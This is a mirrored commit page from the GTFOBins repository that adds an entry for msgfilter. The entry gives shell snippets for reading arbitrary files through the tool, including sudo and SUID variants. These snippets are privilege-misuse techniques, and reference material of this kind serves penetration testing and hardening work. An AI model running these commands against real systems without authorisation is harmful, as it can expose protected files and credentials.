mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Add msgfilter file-read
This commit is contained in:
parent
b04b2af68b
commit
8612fb0b86
16
_gtfobins/msgfilter.md
Normal file
16
_gtfobins/msgfilter.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
|
||||||
|
functions:
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
msgfilter -P -i "LFILE" /bin/cat
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo msgfilter -P -i "LFILE" /bin/cat
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./msgfilter -P -i "LFILE" /bin/cat
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user